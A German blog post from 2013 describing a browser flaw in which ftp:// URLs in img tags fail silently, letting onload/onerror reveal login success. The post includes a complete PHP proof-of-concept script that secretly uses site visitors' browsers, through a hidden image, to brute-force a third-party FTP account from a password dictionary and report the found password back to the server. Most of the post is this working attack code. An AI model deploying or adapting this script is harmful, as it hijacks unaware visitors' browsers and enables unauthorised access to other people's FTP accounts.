Die meisten gängigen Browser besitzen eine Sicherheitsschwachstelle die mir vor ein paar Tagen aufgefallen ist.
Sie ermöglicht es FTP Url’s mittels des img tag’s einzubinden, ohne das bei einem fehlschlagenden login
ein fehlerpopup oder eine erneute login Aufforderung erscheint.
in der Regel erscheint bei jedem Browser der einen falschen login durch einen FTP Link zu verarbeiten hat
eine dieser oder zumindest eine ähnliche Nachricht:
Beim Einbinden des FTP Links in einen img tag vernachlässigen allerdings viele Browser das Aufrufen einer
Fehlernachricht oder erneute Auffordern des logins. somit kann ein Angreifer ohne aufzufallen mittels
javascript schnell und effektiv die Browser seiner Webseitenbesucher zum bruten externer FTP Zugänge missbrauchen.
Alles was der Angreifer dazu braucht ist ein lokaler pfad zu einem existierenden Bild auf dem Server des zu
knackenden FTP accounts. Pfade dieser Art sind meist leicht zu erraten. wie im bsp. Video gezeigt, könnte sich ein der Adresse unnex.un.funpic.de/img/logo.png mit hoher
Wahrscheinlichkeit auch auf dem lokalen Pfad img/logo.png befinden.
nungut, mittels dieser schwachstelle kann ein brute-force angriff auf einen entfernten FTP Zugang komplett
auf die Besucher der Webseite des js scripts ausgelagert werden. je mehr Besucher man also hat, desto schneller
kann gebrutet werden.
…damit das script erkennt ob ein login erfolgreich war oder nicht braucht es natuerlich eine verarbeitbare
Antwort des Servers. die genauen Antworten des FTP Servers kann man dabei logischerweise nicht abfangen.
Aber man kann versuchen ein Bild vom Server auf zu rufen welches dann mit den eventhandlern onload und
onerror als erlogreich geladen oder eben nicht erfolgreich geladen erkannt wird. bsp:
[php]<html><img src="ftp://username:[email protected]/img/logo.png" onload="alert(‚erfolgreich vom ftp geladen!‘)" onerror="alert(’sorry, bild wurde nicht gefunden!‘)"></html>[/php]
ungut, das sollte zur erklaerung ausreichen ^.^
tested and vulnerable:
internet explorer: 10.0.9200.16521
opera: 12.14
google chrome: 25.0.1364.97 m
safari: 5.1.7
tested and not vulnerable:
mozilla firefox: 19.0 (secure)
konqueror: 4.8.2 (not entirely)
Download Beispiel Video:
http://www.file-upload.net/download-7276473/jsbrute.rar.html
http://www.xup.in/dl,20550551/jsbrute.rar/
http://mirrorstack.com/6tywhjrp043j
http://www.mirrorcreator.com/files/0TNPULW5/JSBRUTE.RAR_links
https://mega.co.nz/#!TBVykR7J!Snkk-DzvhFbhJjKQk5lQFErMI5pSyNjV_hTRwuFvRGk
Screenshot (proof of concept script):
proof of concept script:
[php]<?php
/*
#
###
## ##
### ###
### ###
######################
########################
### ### #### ####
## ### ### ####
##### #######
### ###### ###### ###
###### ######## ####### #######
###### ######### ######### #######
##### #### ######### ##### ####
##### ##### ####### ##### ####
########### ##### ###########
######### ## #########
##### #####
~~~ script by unnex ~~~
*/
//—config—
$username="username";
$path="server.addr/imgs/test.png";
// ^—addr ^—local path to image
$package=20;
$dic="dic.txt";
$cache="cache.txt"; $cachea="cachea.txt";
$found="fpassword.txt";
//————
//to start a new attack, you have to delete $found, $cache and $cachea!
echo "<html>";
if (isset($_SERVER[‚HTTP_USER_AGENT‘])) { if (preg_match("/ firefox\//i", $_SERVER[‚HTTP_USER_AGENT‘], $match) or preg_match("/ konqueror\//i", $_SERVER[‚HTTP_USER_AGENT‘], $match)) { echo "sorry, your browser is not supported!<html>"; exit; } }
echo "<div style=\"background-color: #8F8F8F\">javascript ftp brute-force (using onload & onerror event handler in html-img tag) <i>(proof of concept)</i></div><div style=\"background-color: #BDBDBD\"><i>tested and vulnerable:<br>";
echo "internet explorer: 10.0.9200.16521<br>";
echo "opera: 12.14<br>";
echo "google chrome: 25.0.1364.97 m<br>";
echo "safari: 5.1.7<br><br>";
echo "tested and <b>not</b> vulnerable:<br>";
echo "konqueror: 4.8.2 <i>(not entirely)</i><br>";
echo "mozilla firefox: 19.0 <i>(secure)</i></i></div><br>";
if (file_exists($found)) { echo "password found, thx!</html>"; exit; }
if (!file_exists($dic)) { echo "sorry, <b>" . htmlspecialchars($dic) . "</b> not found!</html>"; exit; }
$ji=0; if (!file_exists($cache)) { $fp = fopen($cache,’w‘); fwrite($fp, ":"); fclose($fp); } else { $fp=fopen($cache,’r‘); $ji=fread($fp, filesize($cache)); fclose($fp); }
if (!file_exists($cachea)) { $fp = fopen($cachea,’w‘); fwrite($fp, ":"); fclose($fp); }
$na=0; while ($na>-1) {
if (!preg_match("/:" . $na .":/", $ji, $match)) { $ji=$na; $na=0-$package-1; }
$na=$na+$package; }
$fp=fopen($cachea,’r‘); $jia=fread($fp, filesize($cachea)); fclose($fp); $jiar=$jia;
if (isset($_GET["njuq"])) { if (!is_array($_GET["njuq"])) { $fp = fopen($found,’w‘); fwrite($fp, "password found: " . $_GET["njuq"]); fclose($fp); } echo "</html>"; exit; }
if (isset($_GET["nima"])) { if (!is_array($_GET["nima"]) && !preg_match("/:" . $_GET["nima"] .":/", $jia, $match)) { $fp = fopen($cachea,’a‘); fwrite($fp, $_GET["nima"] . ":"); fclose($fp); } echo "</html>"; exit; }
$ix=file($dic); $ixx=sizeof($ix); $i=0;
if ($ji>$ixx) { $fp=fopen($cache,’w‘); fwrite($fp, $jia); fclose($fp);
$na=0; while ($na>-1) {
if (!preg_match("/:" . $na .":/", $jia, $match)) { $ji=$na; $na=0-$package-1; }
$na=$na+$package; } }
$izt=0; $jiarr=explode(":", $jiar); while (isset($jiarr[$izt])) { $izt++; } $izt=$izt-2; if ($izt<1) { $izt=0; } $izt=$izt*$package;
$jix=$ji;
if ($ji>$ixx) { echo "dictionary complete: password not found! :-(</html>"; exit; }
$fp = fopen($cache,’a‘); fwrite($fp, $ji . ":"); fclose($fp);
echo "<script>var fullx=" . $package . "; full=new Array(fullx);";
while (isset($ix[$ji]) && $i<$package) { $ix[$ji]=preg_replace("/\"/" ,"", $ix[$ji]);
$ix[$ji]=preg_replace("/\r/" ,"", $ix[$ji]); $ix[$ji]=preg_replace("/\n/" ,"", $ix[$ji]);
echo "full[" . $i . "]=’" . $ix[$ji] . "‘;"; $ji++; $i++; }
echo "document.write(‚<div style=\"background-color: #F0E68C\">total password\’s tested: >= " . $izt . " / " . $ixx . "<br><br>your paket size: " . $i . "<br>paket status: <font id=\"n\"></font>‘);";
echo "var fulli=0;"; echo "var usr=\"" . $username . "\"; var path=\"" . $path . "\";";
echo "function next() { pw=full[fulli]; document.getElementById(\"a\").src=\"ftp://\"+usr+\":\"+pw+\"@\"+path; document.getElementById(\"n\").innerHTML=fulli/(" . $i . "/100)+’%‘; }</script>";
echo "<img src=\"_.png\" width=\"0\" height=\"0\" style=\"opacity: 0\" id=\"a\" onload=\"src=’index.php?njuq=’+pw\" onerror=\"if (fulli<" . $i . ") { next(); fulli=fulli+1; } if (fulli==" . $i . ") { document.getElementById(’n‘).innerHTML='<b>100%</b>‘; fulli=fulli+1; src=’index.php?nima=" . $jix . "‘; }\">";
echo "</div><br><div align=\"center\">[ —> script by <a href=\"http://unnex.de\">www.unnex.de</a> | greetz to <a href=\"http://new-crew.net\">new-crew</a> <— ]<br><br>~ @march 2013 ~</div></html>";
?>[/php]
Quelle : unnex via email ( /new-crew.net )
2 Kommentare
Dlbeta
Wie willst du den Username vom FTP Server erfahren?
¥akuza112
In diesem Tutorial ist das leider irrelevant. Hier wird gezeigt wie man eine brute-force Attacke machen kann. Setze das ganze doch mal lokal via XAMPP bzw AMPPS (Bsp. Windows) auf, dann kannst du für Testzwecke deinen eigenen ftp Nutzer bruteforcen